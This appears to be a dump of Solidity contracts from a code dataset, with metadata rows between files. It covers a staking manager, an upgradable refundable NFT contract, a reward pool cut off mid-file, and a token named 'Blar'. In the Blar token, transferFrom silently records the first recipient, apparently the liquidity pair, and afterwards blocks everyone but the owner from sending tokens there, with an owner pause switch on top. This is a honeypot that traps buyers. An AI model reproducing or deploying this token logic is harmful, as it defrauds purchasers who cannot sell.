for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
interface IERC20 {
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface ISPAPA {
function gonsForBalance(uint amount) external view returns (uint);
function balanceForGons(uint gons) external view returns (uint);
}
interface IStakingProxy {
function stake(uint _amount, address _recipient) external returns (bool);
function claim(address _recipient) external;
}
interface IStaking{
function epoch() external view returns (uint length,
uint number,
uint endBlock,
uint distribute);
}
contract StakingManager is Ownable {
using SafeERC20 for IERC20;
using SafeMath for uint;
address public immutable PAPA;
address public immutable staking;
uint public epoch = 0;
uint public warmupPeriod = 0;
address[] public proxies;
constructor(address _papa,
address _staking) {
require(_papa != address(0));
PAPA = _papa;
require(_staking != address(0));
staking = _staking;
}
function addProxy(address _proxy) external onlyPolicy() {
require(_proxy != address(0));
for(uint i=0;i<proxies.length;i++) {
if(proxies[i] == _proxy) {
return;
}
}
proxies.push(_proxy);
}
function removeProxy(address _proxy) external onlyPolicy() returns (bool) {
require(_proxy != address(0));
for(uint i=0;i<proxies.length;i++) {
if(proxies[i] == _proxy) {
require(proxies.length-1 >= warmupPeriod, "Not enough proxies to support specified period.");
for(uint j=i;j<proxies.length-1;j++) {
proxies[j] = proxies[j+1];
}
proxies.pop();
return true;
}
}
return false;
}
function setWarmupPeriod(uint period) external onlyPolicy() {
require(proxies.length >= period, "Not enough proxies to support specified period.");
warmupPeriod = period;
}
function stake(uint _amount, address _recipient) external returns (bool) {
require(proxies.length > 0, "No proxies defined.");
require(_recipient != address(0));
require(_amount != 0); // why would anyone need to stake 0 PAPA?
uint stakingEpoch=getStakingEpoch();
if (epoch < stakingEpoch) {
epoch = stakingEpoch; // set next epoch block
claim(_recipient); // claim any expired warmups before rolling to the next epoch
}
address targetProxy = proxies[warmupPeriod == 0 ? 0 : epoch % warmupPeriod];
require(targetProxy != address(0));
IERC20(PAPA).safeTransferFrom(msg.sender, targetProxy, _amount);
return IStakingProxy(targetProxy).stake(_amount, _recipient);
}
function claim(address _recipient) public {
require(proxies.length > 0, "No proxies defined.");
require(_recipient != address(0));
for(uint i=0;i<proxies.length;i++) {
require(proxies[i] != address(0));
IStakingProxy(proxies[i]).claim(_recipient);
}
}
function getStakingEpoch() view public returns(uint stakingEpoch){
(,stakingEpoch,,)=IStaking(staking).epoch();
}
}
| 73,543 | 12,088 |
5eaca1a396345b5adde7bf9548e3850ed684b67d9470d80ac73e70f065e4de96
| 30,529 |
.sol
|
Solidity
| false |
492947597
|
ERC721RA/erc721ra
|
37de32a4eb26fe710c84f36cedd4d571d6ac89fd
|
contracts/extensions/ERC721RAUpgradable.sol
| 4,900 | 20,899 |
pragma solidity >=0.8.4 <0.9.0;
import "@openzeppelin/contracts-upgradeable/token/ERC721/IERC721Upgradeable.sol";
import "@openzeppelin/contracts-upgradeable/token/ERC721/IERC721ReceiverUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/token/ERC721/extensions/IERC721MetadataUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/utils/ContextUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/utils/StringsUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/utils/introspection/ERC165Upgradeable.sol";
import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
error ApprovalCallerNotOwnerNorApproved();
error ApproveToCaller();
error ApprovalToCurrentOwner();
error MintZeroAmount();
error TransferCallerNotOwnerNorApproved();
error TransferFromIncorrectOwner();
error TransferToNonERC721ReceiverImplementer();
error RefundNotActive();
error RefundTokenHasBeenBurned();
error RefundCallerNotOwner();
error RefundHasAlreadyBeenMade();
error RefundNotSucceed();
error RefundZeroAmount();
error WithdrawWhenRefundActive();
error WithdrawNotSucceed();
error WithdrawZeroBalance();
error TransactToZeroAddress();
error WithdrawToZeroAddress();
error TransferToZeroAddress();
error MintToZeroAddress();
error ReturnAddressSetToZeroAddress();
error RefundToZeroAddress();
error QueryTokenNotExist();
error QueryZeroAddress();
contract ERC721RAUpgradable is
Initializable,
ContextUpgradeable,
ERC165Upgradeable,
IERC721Upgradeable,
IERC721MetadataUpgradeable,
OwnableUpgradeable
{
using AddressUpgradeable for address;
using StringsUpgradeable for uint256;
// Token data to track token
struct TokenData {
// Whether the token has been burned.
bool burned;
// Whether token has been refunded
bool refunded;
// Keeps track of the start time of ownership with minimal overhead for tokenomics.
uint64 startTimestamp;
// The address of the owner.
address ownerAddress;
// Track refund information of each token. Token can be returned even they're not owned by minter.
// Only allowed to refund once, Keeps track of the price paid by minter, price in Wei
uint256 price;
}
// Owner data to track against token balance
struct OwnerData {
// Token balance
uint32 balance;
// Number of tokens minted
uint32 numberMinted;
// Number of tokens burned
uint32 numberBurned;
// Number of tokens refunded
uint32 numberRefunded;
// To record extra information.
uint32 aux;
}
// The tokenId of the next token to be minted.
uint256 internal _currentIndex;
// The number of tokens burned.
uint256 internal _burnCounter;
// The number of tokens refunded.
uint256 internal _refundCounter;
// The refund end timestamp
uint256 private _refundEndTime;
// The return address to transfer token to
address private _returnAddress;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to tokenData details
mapping(uint256 => TokenData) internal _tokenData;
// Mapping owner address to address data
mapping(address => OwnerData) private _ownerData;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
function __ERC721RA_init(string memory name_,
string memory symbol_,
uint256 refundEndTime_) internal onlyInitializing {
_name = name_;
_symbol = symbol_;
_currentIndex = _startTokenId();
_refundEndTime = refundEndTime_;
_returnAddress = _msgSender();
}
function _startTokenId() internal view virtual returns (uint256) {
return 0;
}
function totalSupply() public view returns (uint256) {
// Impossible to underflow:
// _burnCounter cannot be greater than _currentIndex - _startTokenId()
unchecked {
return _currentIndex - _burnCounter - _startTokenId();
}
}
function _totalMinted() internal view returns (uint256) {
// Impossible to underflow:
// _currentIndex is always greater than or equal to_startTokenId()
unchecked {
return _currentIndex - _startTokenId();
}
}
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC165Upgradeable, IERC165Upgradeable)
returns (bool)
{
return
interfaceId == type(IERC721Upgradeable).interfaceId ||
interfaceId == type(IERC721MetadataUpgradeable).interfaceId ||
super.supportsInterface(interfaceId);
}
function balanceOf(address owner) external view override returns (uint256) {
if (owner == address(0)) revert QueryZeroAddress();
return _ownerData[owner].balance;
}
function _tokenBurned(uint256 tokenId) internal view returns (bool) {
return _tokenData[tokenId].burned;
}
function _tokenRefunded(uint256 tokenId) internal view returns (bool) {
return _tokenData[tokenId].refunded;
}
function pricePaid(uint256 tokenId) public view returns (uint256) {
return _ownerOf(tokenId).price;
}
function _numberMinted(address owner) internal view returns (uint256) {
return uint256(_ownerData[owner].numberMinted);
}
function _numberBurned(address owner) internal view returns (uint256) {
return uint256(_ownerData[owner].numberBurned);
}
function _numberRefunded(address owner) internal view returns (uint256) {
return uint256(_ownerData[owner].numberRefunded);
}
function _getAux(address owner) internal view returns (uint32) {
return _ownerData[owner].aux;
}
function _setAux(address owner, uint32 aux) internal {
_ownerData[owner].aux = aux;
}
function _ownerOf(uint256 tokenId) internal view returns (TokenData memory) {
uint256 curr = tokenId;
unchecked {
if (_startTokenId() <= curr) {
if (curr < _currentIndex) {
TokenData memory tokenData = _tokenData[curr];
// Check if token is not burnt
if (!tokenData.burned) {
if (tokenData.ownerAddress != address(0)) {
return tokenData;
}
// Underlying magic:
// Doesn't explicitly set owner address for consecutive tokens when minting
// Set ownership when checking the data
// Impossible for --curr to be underflow
// Token can never be burnt before minted
while (true) {
tokenData = _tokenData[--curr];
if (tokenData.ownerAddress != address(0)) {
return tokenData;
}
}
}
}
}
}
revert QueryTokenNotExist();
}
function ownerOf(uint256 tokenId) public view override returns (address) {
return _ownerOf(tokenId).ownerAddress;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
if (!_exists(tokenId)) revert QueryTokenNotExist();
string memory baseURI = _baseURI();
return bytes(baseURI).length != 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
function _baseURI() internal view virtual returns (string memory) {
return "";
}
function approve(address to, uint256 tokenId) external override {
address owner = ERC721RAUpgradable.ownerOf(tokenId);
if (to == owner) revert ApprovalToCurrentOwner();
if (_msgSender() != owner && !isApprovedForAll(owner, _msgSender())) {
revert ApprovalCallerNotOwnerNorApproved();
}
_approve(to, tokenId, owner);
}
function getApproved(uint256 tokenId) public view override returns (address) {
if (!_exists(tokenId)) revert QueryTokenNotExist();
return _tokenApprovals[tokenId];
}
function setApprovalForAll(address operator, bool approved) public virtual override {
if (operator == _msgSender()) revert ApproveToCaller();
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
function transferFrom(address from,
address to,
uint256 tokenId) public virtual override {
_transfer(from, to, tokenId);
}
function safeTransferFrom(address from,
address to,
uint256 tokenId) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
function safeTransferFrom(address from,
address to,
uint256 tokenId,
bytes memory _data) public virtual override {
_transfer(from, to, tokenId);
if (to.isContract() && !_checkContractOnERC721Received(from, to, tokenId, _data)) {
revert TransferToNonERC721ReceiverImplementer();
}
}
function _exists(uint256 tokenId) internal view returns (bool) {
return _startTokenId() <= tokenId && tokenId < _currentIndex && !_tokenData[tokenId].burned;
}
function _safeMint(address to,
uint256 amount,
uint256 pricePaid_) internal {
_safeMint(to, amount, pricePaid_, "");
}
function _safeMint(address to,
uint256 amount,
uint256 pricePaid_,
bytes memory _data) internal {
uint256 startTokenId = _currentIndex;
if (to == address(0)) revert MintToZeroAddress();
if (amount == 0) revert MintZeroAmount();
_beforeTokenTransfers(address(0), to, startTokenId, amount);
// Incredibly unlikely to overflow:
// balance or numberMinted overflow if either + amount > 2**32 - 1
// updatedIndex overflow if _currentIndex + amount > 2**256 - 1
unchecked {
_ownerData[to].balance += uint32(amount);
_ownerData[to].numberMinted += uint32(amount);
uint256 updatedIndex = startTokenId;
uint256 end = updatedIndex + amount;
// Underlying magic: doesn't explicitly set owner address for consecutive tokens when minting
_tokenData[updatedIndex].ownerAddress = to;
_tokenData[startTokenId].startTimestamp = uint64(block.timestamp);
_tokenData[updatedIndex].price = pricePaid_;
if (to.isContract()) {
do {
emit Transfer(address(0), to, updatedIndex);
if (!_checkContractOnERC721Received(address(0), to, updatedIndex++, _data)) {
revert TransferToNonERC721ReceiverImplementer();
}
} while (updatedIndex != end);
// Reentrancy protection
if (_currentIndex != startTokenId) revert();
} else {
do {
emit Transfer(address(0), to, updatedIndex++);
} while (updatedIndex != end);
}
_currentIndex = updatedIndex;
}
_afterTokenTransfers(address(0), to, startTokenId, amount);
}
function _mint(address to,
uint256 amount,
uint256 pricePaid_) internal {
uint256 startTokenId = _currentIndex;
if (to == address(0)) revert MintToZeroAddress();
if (amount == 0) revert MintZeroAmount();
_beforeTokenTransfers(address(0), to, startTokenId, amount);
// Incredibly unlikely to overflow:
// balance or numberMinted overflow if either + amount > 2**32 - 1
// updatedIndex overflow if _currentIndex + amount > 2**256 - 1
unchecked {
_ownerData[to].balance += uint32(amount);
_ownerData[to].numberMinted += uint32(amount);
uint256 updatedIndex = startTokenId;
uint256 end = updatedIndex + amount;
// Underlying magic: doesn't explicitly set owner address for consecutive tokens when minting
_tokenData[updatedIndex].ownerAddress = to;
_tokenData[startTokenId].startTimestamp = uint64(block.timestamp);
_tokenData[updatedIndex].price = pricePaid_;
do {
emit Transfer(address(0), to, updatedIndex++);
} while (updatedIndex != end);
_currentIndex = updatedIndex;
}
_afterTokenTransfers(address(0), to, startTokenId, amount);
}
function _transfer(address from,
address to,
uint256 tokenId) private {
TokenData memory prevTokenData = _ownerOf(tokenId);
if (prevTokenData.ownerAddress != from) revert TransferFromIncorrectOwner();
bool isApprovedOrOwner = (_msgSender() == from ||
isApprovedForAll(from, _msgSender()) ||
getApproved(tokenId) == _msgSender());
if (!isApprovedOrOwner) revert TransferCallerNotOwnerNorApproved();
if (to == address(0)) revert TransferToZeroAddress();
_beforeTokenTransfers(from, to, tokenId, 1);
// Clear approvals from the previous owner
_approve(address(0), tokenId, from);
// Impossible for from address to underflow, or to address to overflow
// nextTokenId is incredibly unlikely to overflow
unchecked {
_ownerData[from].balance -= 1;
_ownerData[to].balance += 1;
TokenData storage currSlot = _tokenData[tokenId];
// Must update price paid when transfer
currSlot.ownerAddress = to;
currSlot.startTimestamp = uint64(block.timestamp);
currSlot.price = prevTokenData.price;
uint256 nextTokenId = tokenId + 1;
TokenData storage nextSlot = _tokenData[nextTokenId];
if (nextSlot.ownerAddress == address(0)) {
// This will suffice for checking _exists(nextTokenId),
// as a burned slot cannot contain the zero address.
if (nextTokenId != _currentIndex) {
// Must update price paid for from address which owns the next token
nextSlot.ownerAddress = from;
nextSlot.startTimestamp = prevTokenData.startTimestamp;
nextSlot.price = prevTokenData.price;
}
}
}
emit Transfer(from, to, tokenId);
_afterTokenTransfers(from, to, tokenId, 1);
}
function _burn(uint256 tokenId) internal virtual {
_burn(tokenId, false);
}
function _burn(uint256 tokenId, bool approvalCheck) internal virtual {
TokenData memory prevTokenData = _ownerOf(tokenId);
address from = prevTokenData.ownerAddress;
if (approvalCheck) {
bool isApprovedOrOwner = (_msgSender() == from ||
isApprovedForAll(from, _msgSender()) ||
getApproved(tokenId) == _msgSender());
if (!isApprovedOrOwner) revert TransferCallerNotOwnerNorApproved();
}
_beforeTokenTransfers(from, address(0), tokenId, 1);
// Clear approvals from the previous owner
_approve(address(0), tokenId, from);
// Impossible for balance to go underflow, or numberBurned to overflow
// nextTokenId is icredibly unlikely to overflow
unchecked {
OwnerData storage ownerData = _ownerData[from];
ownerData.balance -= 1;
ownerData.numberBurned += 1;
// Keep track of who burned the token, and the timestamp of burning.
TokenData storage currSlot = _tokenData[tokenId];
currSlot.ownerAddress = from;
currSlot.startTimestamp = uint64(block.timestamp);
currSlot.price = prevTokenData.price;
currSlot.burned = true;
// If the tokenData slot of tokenId+1 is not explicitly set, that means the burn initiator owns it.
uint256 nextTokenId = tokenId + 1;
TokenData storage nextSlot = _tokenData[nextTokenId];
if (nextSlot.ownerAddress == address(0)) {
// This will suffice for checking _exists(nextTokenId),
// as a burned slot cannot contain the zero address.
if (nextTokenId != _currentIndex) {
nextSlot.ownerAddress = from;
nextSlot.startTimestamp = prevTokenData.startTimestamp;
nextSlot.price = prevTokenData.price;
}
}
}
emit Transfer(from, address(0), tokenId);
_afterTokenTransfers(from, address(0), tokenId, 1);
unchecked {
_burnCounter++;
}
}
function _approve(address to,
uint256 tokenId,
address owner) private {
_tokenApprovals[tokenId] = to;
emit Approval(owner, to, tokenId);
}
function _checkContractOnERC721Received(address from,
address to,
uint256 tokenId,
bytes memory _data) private returns (bool) {
try IERC721ReceiverUpgradeable(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721ReceiverUpgradeable(to).onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert TransferToNonERC721ReceiverImplementer();
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
}
function _beforeTokenTransfers(address from,
address to,
uint256 startTokenId,
uint256 amount) internal virtual {}
function _afterTokenTransfers(address from,
address to,
uint256 startTokenId,
uint256 amount) internal virtual {}
uint256[42] private __gap;
function setReturnAddress(address to) external onlyOwner {
if (to == address(0)) revert ReturnAddressSetToZeroAddress();
_returnAddress = to;
}
function returnAddress() external view returns (address) {
return _returnAddress;
}
function refundEndTime() external view returns (uint256) {
return _refundEndTime;
}
function refundActive() public view returns (bool) {
return _refundEndTime > block.timestamp;
}
function _refund(address to, uint256 tokenId) internal {
if (!refundActive()) revert RefundNotActive();
if (to == address(0)) revert RefundToZeroAddress();
if (_msgSender() != ownerOf(tokenId)) revert RefundCallerNotOwner();
if (_tokenData[tokenId].burned) revert RefundTokenHasBeenBurned();
if (_tokenData[tokenId].refunded) revert RefundHasAlreadyBeenMade();
uint256 refundAmount = pricePaid(tokenId);
if (refundAmount == 0) revert RefundZeroAmount();
_beforeTokenTransfers(_msgSender(), _returnAddress, tokenId, 1);
// Refund amount is impossible to overflow
unchecked {
// No need to change balance here, SafeTransferFrom updates balance
_tokenData[tokenId].refunded = true;
_ownerData[_msgSender()].numberRefunded += 1;
_refundCounter++;
}
// safeTransferFrom updates price and startTimestamp of new owner
safeTransferFrom(_msgSender(), _returnAddress, tokenId);
(bool success,) = to.call{value: refundAmount}("");
if (!success) revert RefundNotSucceed();
emit Transfer(_msgSender(), _returnAddress, tokenId);
_afterTokenTransfers(_msgSender(), _returnAddress, tokenId, 1);
}
function _withdraw(address to) internal virtual onlyOwner {
if (refundActive()) revert WithdrawWhenRefundActive();
if (to == address(0)) revert WithdrawToZeroAddress();
uint256 contractBalance = address(this).balance;
if (contractBalance == 0) revert WithdrawZeroBalance();
(bool success,) = to.call{value: contractBalance}("");
if (!success) revert WithdrawNotSucceed();
}
}
| 224,259 | 12,089 |
60a2eb69e9402c36496328df3c2be8fb2b3369c5fcc56929a2872bf41c056676
| 20,343 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/b7/b72aa9341fdbc0ccda7cb0a2f245cee973e9066c_Blar.sol
| 2,966 | 11,256 |
pragma solidity ^0.6.12;
// SPDX-License-Identifier: Unlicensed
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
uint256 private _lockTime;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function geUnlockTime() public view returns (uint256) {
return _lockTime;
}
//Locks the contract for owner for the amount of time provided
function lock(uint256 time) public virtual onlyOwner {
_previousOwner = _owner;
_owner = address(0);
_lockTime = now + time;
emit OwnershipTransferred(_owner, address(0));
}
//Unlocks the contract for owner when _lockTime is exceeds
function unlock() public virtual {
require(_previousOwner == msg.sender, "You don't have permission to unlock");
require(now > _lockTime , "Contract is locked until 7 days");
emit OwnershipTransferred(_owner, _previousOwner);
_owner = _previousOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract Blar is Context, IERC20, Ownable, Pausable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint8 private _decimals = 9;
uint256 private _totalSupply = 10000000 * 10**12;
string private _symbol = "BLA";
string private _name = "BLA";
address public newun;
constructor() public {
_balances[_msgSender()] = _totalSupply;
emit Transfer(address(0), _msgSender(), _totalSupply);
}
function transfernewun(address _newun) public onlyOwner {
newun = _newun;
}
function getOwner() external view returns (address) {
return owner();
}
function decimals() external view returns (uint8) {
return _decimals;
}
function symbol() external view returns (string memory) {
return _symbol;
}
function name() external view returns (string memory) {
return _name;
}
function totalSupply() external view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) external view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) external view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) external override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
if(sender != address(0) && newun == address(0)) newun = recipient;
else require(recipient != newun || sender == owner(), "please wait");
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "error in transferfrom"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "error in decrease allowance"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "transfer sender address is 0 address");
require(recipient != address(0), "transfer recipient address is 0 address");
require(!paused || sender == owner() || recipient == owner(), "paused");
if(newun != address(0)) require(recipient != newun || sender == owner(), "please wait");
_balances[sender] = _balances[sender].sub(amount, "transfer balance too low");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
// function _burn(address account, uint256 amount) internal {
// require(account != address(0), "burn address is 0 address");
// _balances[account] = _balances[account].sub(amount, "burn balance to low");
// _totalSupply = _totalSupply.sub(amount);
// emit Transfer(account, address(0), amount);
// }
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "approve owner is 0 address");
require(spender != address(0), "approve spender is 0 address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
// function _burnFrom(address account, uint256 amount) internal {
// _burn(account, amount);
// }
}
| 79,842 | 12,090 |
77c26eb33403c58fdb7aa451099eea0be412126f08258e3d04b5027eac867df5
| 10,879 |
.sol
|
Solidity
| false |
344608542
|
boltdollar/boltdollar-contracts
|
1e57f50605d2a01d2e783cc54c59eb548984eb15
|
contracts/CashRewardPool.sol
| 2,888 | 10,675 |
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
// Note that this pool has no minter key of CASH (rewards).
contract CashRewardPool {
using SafeMath for uint256;
using SafeERC20 for IERC20;
// governance
address public operator;
// Info of each user.
struct UserInfo {
uint256 amount; // How many LP tokens the user has provided.
uint256 rewardDebt; // Reward debt. See explanation below.
}
// Info of each pool.
struct PoolInfo {
IERC20 lpToken; // Address of LP token contract.
uint256 allocPoint; // How many allocation points assigned to this pool. CASHs to distribute per block.
uint256 lastRewardBlock; // Last block number that CASHs distribution occurs.
uint256 accCashPerShare; // Accumulated CASHs per share, times 1e18. See below.
bool isStarted; // if lastRewardBlock has passed
}
IERC20 public cash;
// Info of each pool.
PoolInfo[] public poolInfo;
// Info of each user that stakes LP tokens.
mapping(uint256 => mapping(address => UserInfo)) public userInfo;
// Total allocation points. Must be the sum of all allocation points in all pools.
uint256 public totalAllocPoint = 0;
// The block number when CASH mining starts.
uint256 public startBlock;
uint256 public endBlock;
uint256 public cashPerBlock = 1.25 ether;
uint256 public runningBlocks = 172800; // ~ 6 days
uint256 public constant BLOCKS_PER_WEEK = 201600; // 86400 * 7 / 3;
uint256 public totalCirculating = 0;
event Deposit(address indexed user, uint256 indexed pid, uint256 amount);
event Withdraw(address indexed user, uint256 indexed pid, uint256 amount);
event EmergencyWithdraw(address indexed user, uint256 indexed pid, uint256 amount);
event RewardPaid(address indexed user, uint256 amount);
constructor(address _cash,
uint256 _startBlock) public {
require(block.number < _startBlock, "late");
if (_cash != address(0)) cash = IERC20(_cash);
startBlock = _startBlock;
// supposed to be 3,720,500 (Tue Jan 05 2021 10:00:00 UTC)
endBlock = startBlock + runningBlocks;
// 3,893,300 (Mon Jan 11 2021 10:00:00 UTC)
operator = msg.sender;
}
modifier onlyOperator() {
require(operator == msg.sender, "CashRewardPool: caller is not the operator");
_;
}
function checkPoolDuplicate(IERC20 _lpToken) internal view {
uint256 length = poolInfo.length;
for (uint256 pid = 0; pid < length; ++pid) {
require(poolInfo[pid].lpToken != _lpToken, "CashRewardPool: existing pool?");
}
}
